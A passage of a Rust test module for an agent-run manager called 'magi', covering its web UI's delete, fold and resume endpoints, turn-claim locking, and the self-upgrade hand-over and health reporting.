14985 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
14986 run-derived panels on an empty run history - the queue panel has to render \
14987 regardless: {gated}"
14988 );
14989 }
14990
14991 #[test]
14992 fn web_ui_delete_contract_in_front_end() {
14993 assert!(APP_JS.contains("deleteRun:"));
14995 assert!(APP_JS.contains("deleteTask:"));
14996
14997 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
14999 ..APP_JS.find("function renderRuns").unwrap()];
15000 assert!(!run_cards_slice.to_lowercase().contains("delete"));
15001
15002 assert!(APP_JS.contains("renderRunDelete"));
15004 assert!(APP_JS.contains("runDeleteReason"));
15005 assert!(APP_JS.contains("magi fold"));
15006 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
15007
15008 assert!(APP_JS.contains("cancel.focus"));
15010 assert!(APP_JS.contains("armedRunDelete"));
15011 assert!(APP_JS.contains("renderTaskDeleteBox"));
15012 assert!(APP_JS.contains("armed${cap(key)}"));
15013
15014 assert!(APP_JS.contains("disabled: status === \"running\""));
15016 }
15017
15018 #[test]
15038 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
15039 let build = APP_JS
15040 .find("function createRunCard")
15041 .expect("createRunCard exists");
15042 let update = APP_JS
15043 .find("function updateRunCard")
15044 .expect("updateRunCard exists");
15045 let end = APP_JS
15046 .find("function renderRuns")
15047 .expect("renderRuns exists");
15048
15049 let builder = &APP_JS[build..update];
15051 let open = builder.find("refs = {").expect("createRunCard sets refs");
15052 let literal = &builder[open + "refs = {".len()..];
15053 let close = literal.find('}').expect("the refs literal is closed");
15054 let published: HashSet<&str> = literal[..close]
15055 .split(',')
15056 .filter_map(|entry| entry.split(':').next())
15058 .map(str::trim)
15059 .filter(|name| !name.is_empty())
15060 .collect();
15061 assert!(
15062 published.len() > 5,
15063 "the refs literal did not parse into names: {published:?}"
15064 );
15065
15066 let mut used: Vec<&str> = Vec::new();
15069 let updaters = &APP_JS[update..end];
15070 for (at, _) in updaters.match_indices("r.") {
15071 let before = updaters[..at].chars().next_back();
15074 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
15075 continue;
15076 }
15077 let rest = &updaters[at + 2..];
15078 let len = rest
15079 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
15080 .unwrap_or(rest.len());
15081 if len > 0 {
15082 used.push(&rest[..len]);
15083 }
15084 }
15085 assert!(
15086 used.len() > 5,
15087 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
15088 );
15089
15090 let missing: Vec<&str> = used
15091 .iter()
15092 .copied()
15093 .filter(|name| !published.contains(name))
15094 .collect();
15095 assert!(
15096 missing.is_empty(),
15097 "a run card's updater reaches for {missing:?}, which `createRunCard` \
15098 never put in `refs` - every card will throw and the list will \
15099 render empty under a count line that says otherwise. Published: \
15100 {published:?}"
15101 );
15102 }
15103
15104 #[tokio::test]
15105 async fn folding_from_the_phone_reports_what_it_removed() {
15106 let fx = Fixture::start().await;
15107 let runs = fx.runs();
15108
15109 let id = "20260901-000000-fold";
15113 write_run(&runs, id, RunStatus::Stalled);
15114 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
15115 assert_eq!(res.status, 200);
15116 assert_eq!(res.json()["removed_count"], 0);
15117 assert_eq!(res.json()["run"], id);
15118 assert!(
15119 runs.join(id).exists(),
15120 "a fold keeps the run's record; only the worktrees go"
15121 );
15122 }
15123
15124 #[tokio::test]
15125 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
15126 let fx = Fixture::start().await;
15127 let runs = fx.runs();
15128 let wt = fx.home.path().join("wt").join("magi").join("dead");
15129 let id = "20260901-000000-dead";
15130 std::fs::create_dir_all(runs.join(id)).expect("run dir");
15131 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
15132 std::fs::create_dir_all(&wt).expect("worktree dir");
15133
15134 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
15135 assert_eq!(res.status, 200, "{}", res.body);
15136 assert!(
15137 res.json()["removed_count"].as_u64().unwrap() > 0,
15138 "the worktree this build could not read a state for still went"
15139 );
15140 assert!(
15141 !runs.join(id).exists(),
15142 "an unreadable run has no candidate list to fold selectively, so \
15143 the whole record goes - same as `magi fold` on the CLI"
15144 );
15145 }
15146
15147 #[tokio::test]
15148 async fn deleting_an_unreadable_run_removes_it_wholesale() {
15149 let fx = Fixture::start().await;
15150 let runs = fx.runs();
15151 let wt = fx.home.path().join("wt").join("magi").join("gone");
15152 let id = "20260901-000000-gone";
15153 std::fs::create_dir_all(runs.join(id)).expect("run dir");
15154 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
15155 std::fs::create_dir_all(&wt).expect("worktree dir");
15156
15157 let res = fx.delete(&format!("/api/runs/{id}")).await;
15158 assert_eq!(res.status, 204, "{}", res.body);
15159 assert!(!runs.join(id).exists(), "the broken record is gone");
15160 assert!(!wt.exists(), "its worktree is gone too");
15161 }
15162
15163 #[tokio::test]
15164 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
15165 let fx = Fixture::start().await;
15166 let runs = fx.runs();
15167 let id = "20260901-000000-live";
15168 write_run(&runs, id, RunStatus::Implementing);
15169
15170 let mut beat = crate::daemon::Status::new();
15171 beat.current = vec![crate::daemon::Current {
15172 task: "20260901-000000-task".to_owned(),
15173 run: id.to_owned(),
15174 }];
15175 beat.updated_at = jiff::Timestamp::now();
15176 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15177 .expect("publish a heartbeat");
15178
15179 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
15180 assert_eq!(res.status, 409);
15181 assert!(
15182 res.json()["error"]
15183 .as_str()
15184 .unwrap()
15185 .contains("live daemon"),
15186 "folding under a running agent would pull its worktree away"
15187 );
15188 }
15189
15190 #[tokio::test]
15191 async fn fold_merged_requires_a_pr_url() {
15192 let fx = Fixture::start().await;
15193 let runs = fx.runs();
15194 let id = "20260901-000000-nourl";
15195 write_run(&runs, id, RunStatus::Blocked);
15196
15197 let res = fx
15198 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
15199 .await;
15200 assert_eq!(res.status, 400, "{}", res.body);
15201
15202 let blank = fx
15203 .post(
15204 &format!("/api/runs/{id}/fold-merged"),
15205 Some(r#"{"pr_url":" "}"#),
15206 )
15207 .await;
15208 assert_eq!(blank.status, 400, "{}", blank.body);
15209 }
15210
15211 #[tokio::test]
15212 async fn fold_merged_is_404_for_an_unknown_run() {
15213 let fx = Fixture::start().await;
15214 let res = fx
15215 .post(
15216 "/api/runs/nosuchrun/fold-merged",
15217 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
15218 )
15219 .await;
15220 assert_eq!(res.status, 404, "{}", res.body);
15221 }
15222
15223 #[tokio::test]
15224 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
15225 let fx = Fixture::start().await;
15226 let runs = fx.runs();
15227 let id = "20260901-000000-livemerge";
15228 write_run(&runs, id, RunStatus::Blocked);
15229
15230 let mut beat = crate::daemon::Status::new();
15231 beat.current = vec![crate::daemon::Current {
15232 task: "20260901-000000-task".to_owned(),
15233 run: id.to_owned(),
15234 }];
15235 beat.updated_at = jiff::Timestamp::now();
15236 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15237 .expect("publish a heartbeat");
15238
15239 let res = fx
15240 .post(
15241 &format!("/api/runs/{id}/fold-merged"),
15242 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
15243 )
15244 .await;
15245 assert_eq!(res.status, 409, "{}", res.body);
15246 assert!(
15247 res.json()["error"]
15248 .as_str()
15249 .unwrap()
15250 .contains("live daemon"),
15251 "correcting a run's merge underneath a running agent would race \
15252 whatever it is doing to the same `status`/`merge` fields"
15253 );
15254 }
15255
15256 #[tokio::test]
15261 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
15262 let fx = Fixture::start().await;
15263 let runs = fx.runs();
15264 let id = "20260901-000000-unconfirmed";
15265 write_run(&runs, id, RunStatus::Blocked);
15266
15267 let res = fx
15268 .post(
15269 &format!("/api/runs/{id}/fold-merged"),
15270 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
15271 )
15272 .await;
15273 assert_eq!(res.status, 400, "{}", res.body);
15274 assert_eq!(
15275 read_run(&runs, id).unwrap().status,
15276 RunStatus::Blocked,
15277 "a pull request that could not be confirmed merged must leave \
15278 the run exactly where it was"
15279 );
15280 }
15281
15282 #[tokio::test]
15283 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
15284 let fx = Fixture::start().await;
15285 let runs = fx.runs();
15286
15287 for (status, word) in [
15293 (RunStatus::Merged, "merged"),
15294 (RunStatus::Ready, "ready"),
15295 (RunStatus::Failed, "failed"),
15296 ] {
15297 let id = format!("20260901-000000-{}", &word[..4]);
15298 write_run(&runs, &id, status);
15299 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
15300 assert_eq!(res.status, 409, "{word} must not be resumable");
15301 let err = res.json()["error"].as_str().unwrap().to_owned();
15302 assert!(err.contains(word), "the refusal names the status: {err}");
15303 }
15304
15305 let mid = "20260901-000000-midf";
15310 write_run(&runs, mid, RunStatus::Reviewing);
15311 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
15312 assert_eq!(res.status, 202, "an interrupted run is resumable");
15313 }
15314
15315 #[tokio::test]
15316 async fn resume_is_refused_while_the_loop_is_running() {
15317 let fx = Fixture::start().await;
15318 let runs = fx.runs();
15319 let stalled = "20260901-000000-stal";
15320 write_run(&runs, stalled, RunStatus::Stalled);
15321
15322 let mut beat = crate::daemon::Status::new();
15326 beat.current = vec![crate::daemon::Current {
15327 task: "20260901-000000-task".to_owned(),
15328 run: "20260901-000000-othr".to_owned(),
15329 }];
15330 beat.updated_at = jiff::Timestamp::now();
15331 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15332 .expect("publish a heartbeat");
15333
15334 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
15335 assert_eq!(res.status, 409);
15336 let err = res.json()["error"].as_str().unwrap().to_owned();
15337 assert!(err.contains("othr"), "it names what the loop is on: {err}");
15338 assert!(err.contains("stop it first"), "{err}");
15339 }
15340
15341 #[test]
15342 fn a_run_cannot_be_resumed_twice_at_once() {
15343 let home = TempDir::new().expect("temp home");
15344 let ui = Ui::new(
15345 Queue::at(home.path().join("queue")),
15346 Questions::at(home.path().join("questions")),
15347 Talks::at(home.path().join("talks")),
15348 home.path().join("runs"),
15349 home.path().to_path_buf(),
15350 PathBuf::from("/repo"),
15351 )
15352 .with_worktrees_root(home.path().join("wt"));
15353 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
15354 let again = ui.begin_resume("20260901-000000-once");
15355 assert!(again.is_err(), "a second tap must not start a second graph");
15356 drop(first);
15357 assert!(
15358 ui.begin_resume("20260901-000000-once").is_ok(),
15359 "and the claim is released when the attempt ends"
15360 );
15361 }
15362
15363 #[test]
15364 fn talk_thinking_tracks_only_its_held_turn_claim() {
15365 let home = TempDir::new().expect("temp home");
15366 let ui = Ui::new(
15367 Queue::at(home.path().join("queue")),
15368 Questions::at(home.path().join("questions")),
15369 Talks::at(home.path().join("talks")),
15370 home.path().join("runs"),
15371 home.path().to_path_buf(),
15372 PathBuf::from("/repo"),
15373 )
15374 .with_worktrees_root(home.path().join("wt"));
15375 let id = "20260901-000000-once";
15376
15377 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
15378 let turn = ui.begin_talk_turn(id).expect("claim turn");
15379 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
15380 assert!(
15381 !ui.is_thinking("20260901-000000-other"),
15382 "one talk's turn does not make another talk busy"
15383 );
15384 drop(turn);
15385 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
15386 }
15387
15388 #[test]
15389 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
15390 let home = TempDir::new().expect("temp home");
15391 let talks = Talks::at(home.path().join("talks"));
15392 let ui = Ui::new(
15393 Queue::at(home.path().join("queue")),
15394 Questions::at(home.path().join("questions")),
15395 talks.clone(),
15396 home.path().join("runs"),
15397 home.path().to_path_buf(),
15398 PathBuf::from("/repo"),
15399 )
15400 .with_worktrees_root(home.path().join("wt"));
15401 let id = "20260901-000000-cross";
15402
15403 let other = Talks::at(home.path().join("talks"))
15404 .claim_turn(id)
15405 .expect("claim")
15406 .expect("the other process wins");
15407 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
15408 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
15409 assert!(
15410 matches!(
15411 ui.begin_talk_turn_unless_pending(id).expect("start"),
15412 TalkTurnStart::Foreign
15413 ),
15414 "a foreign holder is refused, not queued behind"
15415 );
15416 assert!(
15417 !ui.talk_turns.lock().unwrap().live.contains(id),
15418 "a refused claim leaves no in-process entry behind"
15419 );
15420 drop(other);
15421 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
15422 assert!(talks.turn_held(id), "the web turn holds the lease");
15423 drop(turn);
15424 assert!(
15425 !talks.turn_held(id),
15426 "dropping the guard releases the lease"
15427 );
15428 }
15429
15430 #[test]
15431 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
15432 let home = TempDir::new().expect("temp home");
15433 let talks = Talks::at(home.path().join("talks"));
15434 let ui = Ui::new(
15435 Queue::at(home.path().join("queue")),
15436 Questions::at(home.path().join("questions")),
15437 talks.clone(),
15438 home.path().join("runs"),
15439 home.path().to_path_buf(),
15440 PathBuf::from("/repo"),
15441 )
15442 .with_worktrees_root(home.path().join("wt"));
15443 let id = "20260901-000000-order";
15444 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15445 let slots = ui.talk_turns.lock().unwrap();
15447 let dropper = std::thread::spawn(move || drop(turn));
15448 let start = std::time::Instant::now();
15449 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
15450 std::thread::sleep(Duration::from_millis(5));
15451 }
15452 assert!(!talks.turn_held(id), "the lease is released first");
15453 assert!(slots.live.contains(id), "the slot is still held meanwhile");
15454 drop(slots);
15455 dropper.join().expect("join");
15456 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
15457 }
15458
15459 #[tokio::test]
15460 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
15461 let fx = Fixture::start().await;
15462 let mut beat = crate::daemon::Status::new();
15466 beat.pid = 4321;
15467 beat.updated_at = jiff::Timestamp::now();
15468 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15469 .expect("publish a heartbeat");
15470
15471 let res = fx.post("/api/upgrade", None).await;
15472 assert_eq!(res.status, 409);
15473 let err = res.json()["error"].as_str().unwrap().to_owned();
15474 assert!(err.contains("4321"), "the refusal names the owner: {err}");
15475 assert!(err.contains("old one against the same queue"), "{err}");
15476 }
15477
15478 #[test]
15485 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
15486 assert!(!should_spawn_recheck(&crate::config::Update {
15487 mode: UpdateMode::Off,
15488 interval: None,
15489 }));
15490
15491 unsafe {
15494 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
15495 }
15496 let killed = should_spawn_recheck(&crate::config::Update {
15497 mode: UpdateMode::Notify,
15498 interval: None,
15499 });
15500 unsafe {
15501 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
15502 }
15503 assert!(
15504 !killed,
15505 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
15506 one-time startup check"
15507 );
15508
15509 assert!(should_spawn_recheck(&crate::config::Update {
15510 mode: UpdateMode::Notify,
15511 interval: None,
15512 }));
15513 }
15514
15515 #[test]
15521 fn recheck_poll_period_tracks_a_short_configured_interval() {
15522 let short = crate::config::Update {
15523 mode: UpdateMode::Notify,
15524 interval: Some("1m".to_owned()),
15525 };
15526 let period = recheck_poll_period(&short);
15527 assert!(
15528 period <= Duration::from_secs(30),
15529 "a one-minute interval must wake the task far sooner than the \
15530 default ceiling, or the deck would not notice within the \
15531 interval the operator configured: got {period:?}"
15532 );
15533
15534 let default = crate::config::Update {
15535 mode: UpdateMode::Notify,
15536 interval: None,
15537 };
15538 assert_eq!(
15539 recheck_poll_period(&default),
15540 UPDATE_RECHECK_POLL_MAX,
15541 "the default day-long interval should poll at the (capped) \
15542 ceiling rather than needlessly often"
15543 );
15544 }
15545
15546 #[test]
15554 fn recheck_skips_the_network_before_the_interval_elapses() {
15555 let dir = TempDir::new().expect("temp dir");
15556 let path = dir.path().join("state.json");
15557 let state = kaishin::UpdateCheckState {
15558 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
15559 last_known_latest: None,
15560 last_known_url: None,
15561 };
15562 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
15563
15564 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
15565 assert!(
15566 !update_recheck_due(&checker, None),
15567 "a check made moments ago must not be repeated before the \
15568 configured interval elapses"
15569 );
15570 }
15571
15572 #[test]
15578 fn recheck_defers_to_an_upgrade_already_in_flight() {
15579 let dir = TempDir::new().expect("temp dir");
15580 let path = dir.path().join("state.json");
15581 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
15582 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
15583
15584 assert!(
15585 !update_recheck_due(&checker, Some(&progress)),
15586 "a recheck must not run while an upgrade this deck started is \
15587 still moving"
15588 );
15589 }
15590
15591 #[tokio::test]
15592 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
15593 unsafe {
15605 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
15606 }
15607 let fx = Fixture::start().await;
15608 let res = fx.post("/api/upgrade", None).await;
15609 unsafe {
15610 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
15611 }
15612 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
15613 let body = res.json();
15614 assert!(body["to"].is_null(), "there was no release to move to");
15615 assert!(body["parked"].is_null(), "and nothing was parked");
15616 assert!(
15617 body["detail"]
15618 .as_str()
15619 .unwrap()
15620 .contains("disabled by MAGI_NO_AUTOUPDATE"),
15621 "{body:?}"
15622 );
15623 }
15624
15625 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
15626 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
15627 p.stage = stage;
15628 p
15629 }
15630
15631 #[test]
15632 fn busy_stages_match_the_ui_set() {
15633 use crate::updater::Stage;
15634 assert!(APP_JS.contains(
15635 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
15636 ));
15637 for s in [
15638 Stage::Downloading,
15639 Stage::Replaced,
15640 Stage::Parking,
15641 Stage::Restarting,
15642 ] {
15643 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
15644 }
15645 for s in [Stage::Done, Stage::Failed] {
15646 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
15647 }
15648 assert!(upgrade_in_motion(None).is_none());
15649 }
15650
15651 #[tokio::test]
15652 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
15653 use crate::updater::Stage;
15654 for stage in [
15655 Stage::Downloading,
15656 Stage::Replaced,
15657 Stage::Parking,
15658 Stage::Restarting,
15659 ] {
15660 let fx = Fixture::start().await;
15661 let seeded = seeded_progress(stage);
15662 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
15663 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
15664 .expect("read");
15665
15666 let res = fx.post("/api/upgrade", None).await;
15667 assert_eq!(res.status, 409, "{stage:?}");
15668 let err = res.json()["error"].as_str().unwrap().to_owned();
15669 assert!(err.contains("already in progress"), "{err}");
15670 assert!(err.contains(stage.as_str()), "{err}");
15671
15672 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
15673 .expect("read");
15674 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
15675 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
15676 .unwrap_or_default();
15677 assert!(!log.contains("signalling HANDOVER"), "{log}");
15678 }
15679 }
15680
15681 #[tokio::test]
15682 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
15683 use crate::updater::Stage;
15684 let repo = TempDir::new().expect("repo dir");
15685 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15686 .expect("write magi.toml");
15687 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15688 for stage in [Stage::Done, Stage::Failed] {
15689 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
15690 let res = fx.post("/api/upgrade", None).await;
15691 assert_eq!(res.status, 200, "{stage:?}");
15692 }
15693 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
15695 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
15696 }
15697
15698 #[tokio::test]
15699 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
15700 let repo = TempDir::new().expect("repo dir");
15716 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15717 .expect("write magi.toml");
15718 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15719
15720 let res = fx.post("/api/upgrade", None).await;
15726 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
15727 let body = res.json();
15728 assert!(body["to"].is_null(), "there was no release to move to");
15729 assert!(body["parked"].is_null(), "and nothing was parked");
15730 assert!(
15731 body["detail"]
15732 .as_str()
15733 .unwrap()
15734 .contains("nothing restarted"),
15735 "{body:?}"
15736 );
15737 }
15738
15739 #[tokio::test]
15740 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
15741 let repo = TempDir::new().expect("repo dir");
15746 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15747 .expect("write magi.toml");
15748 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15749
15750 let health = fx.get("/api/health").await.json();
15751 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
15752 assert_eq!(
15753 health["update"]["available"], false,
15754 "checking is off, which reads as \"unknown\", not \"none\""
15755 );
15756 assert!(health["update"]["to"].is_null());
15757 assert!(
15758 health["upgrade"].is_null(),
15759 "nothing has ever asked this deck to upgrade"
15760 );
15761 }
15762
15763 #[tokio::test]
15764 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
15765 let fx = Fixture::start().await;
15766 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
15767
15768 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15769 progress.parked_run = Some("20260905-000000-cd51".to_owned());
15770 progress.advance(crate::updater::Stage::Parking);
15771 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15772
15773 let health = fx.get("/api/health").await.json();
15774 assert_eq!(health["upgrade"]["stage"], "parking");
15775 assert_eq!(health["upgrade"]["from"], "0.5.1");
15776 assert_eq!(health["upgrade"]["to"], "0.5.2");
15777 let waiting_on = health["upgrade"]["waiting_on"]
15778 .as_str()
15779 .expect("waiting_on is set while parking a known run");
15780 assert!(waiting_on.contains("cd51"), "{waiting_on}");
15781 assert!(waiting_on.contains("implementing"), "{waiting_on}");
15782 }
15783
15784 #[tokio::test]
15785 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
15786 let fx = Fixture::start().await;
15787 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15788 progress.advance(crate::updater::Stage::Done);
15789 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15790
15791 let health = fx.get("/api/health").await.json();
15792 assert_eq!(health["upgrade"]["stage"], "done");
15793 assert!(
15794 health["upgrade"]["waiting_on"].is_null(),
15795 "nothing to wait on once it is done"
15796 );
15797 }
15798
15799 #[tokio::test]
15800 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
15801 let home = TempDir::new().expect("temp home");
15802 let runs = home.path().join("runs");
15803 std::fs::create_dir_all(&runs).expect("runs dir");
15804 let ui = Ui::new(
15805 Queue::at(home.path().join("queue")),
15806 Questions::at(home.path().join("questions")),
15807 Talks::at(home.path().join("talks")),
15808 runs,
15809 home.path().to_path_buf(),
15810 PathBuf::from("/repo/magi"),
15811 )
15812 .with_launch(launch_idle);
15813 let looping = ui.looping();
15814 let turns = ui.turns();
15815 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15816 .await
15817 .expect("bind loopback");
15818 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15819
15820 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15821 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15822
15823 hand_over(
15824 home.path(),
15825 &looping,
15826 &turns,
15827 &|_: &[String]| Duration::from_secs(5),
15828 served,
15829 |_| Ok(1),
15830 )
15831 .await
15832 .expect("hand over");
15833
15834 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
15835 assert_eq!(
15836 after.stage,
15837 crate::updater::Stage::Restarting,
15838 "hand_over owns the record through parking and up to restarting; \
15839 the successor is what finishes it"
15840 );
15841 }
15842
15843 #[tokio::test]
15846 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
15847 for fail in [false, true] {
15848 let home = TempDir::new().expect("temp home");
15849 let ui = idle_ui(&home);
15850 let looping = ui.looping();
15851 let turns = ui.turns();
15852 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15853 .await
15854 .expect("bind loopback");
15855 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15856 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15857 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15858
15859 let calls = std::sync::atomic::AtomicUsize::new(0);
15860 let outcome = hand_over(
15861 home.path(),
15862 &looping,
15863 &turns,
15864 &|_: &[String]| Duration::from_secs(5),
15865 served,
15866 |_| {
15867 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15868 if fail {
15869 anyhow::bail!("no exec")
15870 } else {
15871 Ok(4242)
15872 }
15873 },
15874 )
15875 .await;
15876 assert_eq!(outcome.is_err(), fail);
15877 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15878
15879 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
15880 .expect("upgrade.log is written under the home");
15881 for step in [
15882 "entered",
15883 "finish_loop",
15884 "listener released",
15885 "starting the successor",
15886 ] {
15887 assert!(log.contains(step), "missing `{step}` in:\n{log}");
15888 }
15889 assert!(
15890 log.contains(if fail { "did not start" } else { "pid 4242" }),
15891 "{log}"
15892 );
15893 }
15894 }
15895
15896 #[tokio::test]
15899 async fn the_handover_signal_wakes_one_waiter_once() {
15900 let signal = Notify::new();
15901 signal.notify_one();
15903 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
15904 .await
15905 .expect("an early signal is still seen");
15906 assert!(
15908 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
15909 .await
15910 .is_err(),
15911 "a consumed signal must not wake a second time"
15912 );
15913 let signal = std::sync::Arc::new(signal);
15915 let waiter = tokio::spawn({
15916 let signal = std::sync::Arc::clone(&signal);
15917 async move { wait_for_handover(&signal).await }
15918 });
15919 tokio::time::sleep(Duration::from_millis(20)).await;
15920 assert!(!waiter.is_finished(), "nothing was signalled yet");
15921 signal.notify_one();
15922 tokio::time::timeout(Duration::from_secs(5), waiter)
15923 .await
15924 .expect("a late signal wakes the waiter")
15925 .expect("join");
15926 }
15927
15928 #[tokio::test]
15929 async fn health_says_how_long_a_handover_has_been_stuck() {
15930 let fx = Fixture::start().await;
15931 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15932 progress.advance(crate::updater::Stage::Replaced);
15933 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
15934 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15935
15936 let health = fx.get("/api/health").await.json();
15937 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
15938 assert!(stuck >= 600, "{stuck}");
15939 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
15940 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
15941 }
15942
15943 #[tokio::test]
15944 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
15945 let home = tempfile::tempdir().expect("temp home");
15946 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15947 progress.advance(crate::updater::Stage::Parking);
15948 crate::updater::write_progress(home.path(), &progress).expect("seed");
15949 let mut again = progress.clone();
15951 again.advance(crate::updater::Stage::Replaced);
15952 crate::updater::write_progress(home.path(), &again).expect("replaced");
15953 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15954 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
15955 let after = crate::updater::read_progress(home.path()).expect("record");
15956 assert_eq!(after.stage, crate::updater::Stage::Parking);
15957 }
15958
15959 #[tokio::test]
15960 async fn health_does_not_call_a_live_parking_wait_stuck() {
15961 let fx = Fixture::start().await;
15962 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15963 progress.parked_run = Some("20260905-000000-cd51".to_owned());
15964 progress.advance(crate::updater::Stage::Parking);
15965 let hours = Duration::from_secs(3 * 3600);
15966 progress.started_at = Timestamp::now() - hours;
15967 progress.updated_at = Timestamp::now() - hours;
